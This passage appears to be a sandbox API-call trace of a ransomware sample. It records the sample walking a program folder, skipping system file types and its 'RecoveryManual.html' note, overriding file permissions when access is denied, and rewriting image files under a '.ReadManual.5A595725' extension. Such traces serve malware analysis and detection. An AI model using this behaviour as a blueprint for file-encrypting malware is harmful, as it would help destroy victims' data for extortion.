dwMaximumSizeLow=0xb53, lpName=0x0) returned 0x1a0 [0252.820] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.820] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.820] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.822] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.822] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb53) returned 0x2f0000 [0252.822] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.822] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37349089385) returned 1 [0252.822] CloseHandle (hObject=0x1a0) returned 1 [0252.822] SetSecurityInfo () returned 0x5 [0252.822] SetSecurityInfo () returned 0x5 [0252.822] LocalFree (hMem=0x674d38) returned 0x0 [0252.822] CloseHandle (hObject=0x184) returned 1 [0252.824] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0252.824] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Notes_btn-back-static.png" | out: lpString1="Notes_btn-back-static.png") returned="Notes_btn-back-static.png" [0252.824] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="RecoveryManual.html") returned -1 [0252.824] StrStrIW (lpFirst="Notes_btn-back-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.824] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.824] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.824] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.824] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.824] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.824] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.824] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" [0252.824] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.ReadManual.5A595725" [0252.824] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.ReadManual.5A595725") returned 102 [0252.824] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37349297987) returned 1 [0252.824] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0252.825] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.825] GetLastError () returned 0x5 [0252.825] GetNamedSecurityInfoW () returned 0x0 [0252.825] SetNamedSecurityInfoW () returned 0x0 [0252.825] SetNamedSecurityInfoW () returned 0x0 [0252.826] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.826] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=10888) returned 1 [0252.826] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a88, lpName=0x0) returned 0x1a0 [0252.826] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.826] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.826] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.828] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.828] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a88) returned 0x2f0000 [0252.828] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.828] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37349702363) returned 1 [0252.828] CloseHandle (hObject=0x1a0) returned 1 [0252.828] SetSecurityInfo () returned 0x5 [0252.828] SetSecurityInfo () returned 0x5 [0252.828] LocalFree (hMem=0x674d38) returned 0x0 [0252.828] CloseHandle (hObject=0x184) returned 1 [0252.829] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0252.829] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Notes_content-background.png" | out: lpString1="Notes_content-background.png") returned="Notes_content-background.png" [0252.829] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="RecoveryManual.html") returned -1 [0252.829] StrStrIW (lpFirst="Notes_content-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.829] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.829] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.829] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.829] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.829] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.830] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.830] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.830] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" [0252.830] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.ReadManual.5A595725" [0252.830] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.ReadManual.5A595725") returned 105 [0252.830] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37349844712) returned 1 [0252.830] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0252.830] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.831] GetLastError () returned 0x5 [0252.831] GetNamedSecurityInfoW () returned 0x0 [0252.831] SetNamedSecurityInfoW () returned 0x0 [0252.831] SetNamedSecurityInfoW () returned 0x0 [0252.832] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.832] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=108525) returned 1 [0252.832] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7ed, lpName=0x0) returned 0x1a0 [0252.832] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0252.832] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.832] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.834] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.834] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a7ed) returned 0x1de0000 [0252.837] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.837] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37350604435) returned 1 [0252.837] CloseHandle (hObject=0x1a0) returned 1 [0252.837] SetSecurityInfo () returned 0x5 [0252.837] SetSecurityInfo () returned 0x5 [0252.837] LocalFree (hMem=0x674d38) returned 0x0 [0252.837] CloseHandle (hObject=0x184) returned 1 [0252.839] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0252.839] lstrcpyW (in: lpString1=0x6ab90e, lpString2="scrapbook.png" | out: lpString1="scrapbook.png") returned="scrapbook.png" [0252.839] lstrcmpiW (lpString1="scrapbook.png", lpString2="RecoveryManual.html") returned 1 [0252.839] StrStrIW (lpFirst="scrapbook.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.839] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.839] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.839] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.839] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.839] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.839] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.839] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" [0252.839] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.ReadManual.5A595725" [0252.839] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.ReadManual.5A595725") returned 90 [0252.839] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37350822781) returned 1 [0252.840] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0252.840] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.840] GetLastError () returned 0x5 [0252.840] GetNamedSecurityInfoW () returned 0x0 [0252.840] SetNamedSecurityInfoW () returned 0x0 [0252.840] SetNamedSecurityInfoW () returned 0x0 [0252.841] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.841] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=20346) returned 1 [0252.841] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f7a, lpName=0x0) returned 0x1a0 [0252.841] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0252.842] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.842] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.843] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.843] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f7a) returned 0x2f0000 [0252.844] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.844] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37351369469) returned 1 [0252.846] CloseHandle (hObject=0x1a0) returned 1 [0252.846] SetSecurityInfo () returned 0x5 [0252.846] SetSecurityInfo () returned 0x5 [0252.846] LocalFree (hMem=0x674d38) returned 0x0 [0252.846] CloseHandle (hObject=0x184) returned 1 [0252.846] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0252.847] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Title_content-background.png" | out: lpString1="Title_content-background.png") returned="Title_content-background.png" [0252.847] lstrcmpiW (lpString1="Title_content-background.png", lpString2="RecoveryManual.html") returned 1 [0252.847] StrStrIW (lpFirst="Title_content-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.847] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.847] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.847] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.847] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.847] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.847] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.847] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" [0252.847] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.ReadManual.5A595725" [0252.847] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.ReadManual.5A595725") returned 105 [0252.847] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37351584446) returned 1 [0252.847] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0252.847] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.847] GetLastError () returned 0x5 [0252.847] GetNamedSecurityInfoW () returned 0x0 [0252.848] SetNamedSecurityInfoW () returned 0x0 [0252.848] SetNamedSecurityInfoW () returned 0x0 [0252.849] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.849] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=233668) returned 1 [0252.849] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390c4, lpName=0x0) returned 0x1a0 [0252.849] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0252.849] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.849] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.851] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.851] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390c4) returned 0x2690000 [0252.857] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0252.858] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37352668307) returned 1 [0252.858] CloseHandle (hObject=0x1a0) returned 1 [0252.858] SetSecurityInfo () returned 0x5 [0252.858] SetSecurityInfo () returned 0x5 [0252.858] LocalFree (hMem=0x674d38) returned 0x0 [0252.858] CloseHandle (hObject=0x184) returned 1 [0252.861] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0252.861] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Title_mainImage-mask.png" | out: lpString1="Title_mainImage-mask.png") returned="Title_mainImage-mask.png" [0252.861] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="RecoveryManual.html") returned 1 [0252.861] StrStrIW (lpFirst="Title_mainImage-mask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.861] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.861] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.861] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.861] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.861] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.861] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.861] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" [0252.861] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.ReadManual.5A595725" [0252.861] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD 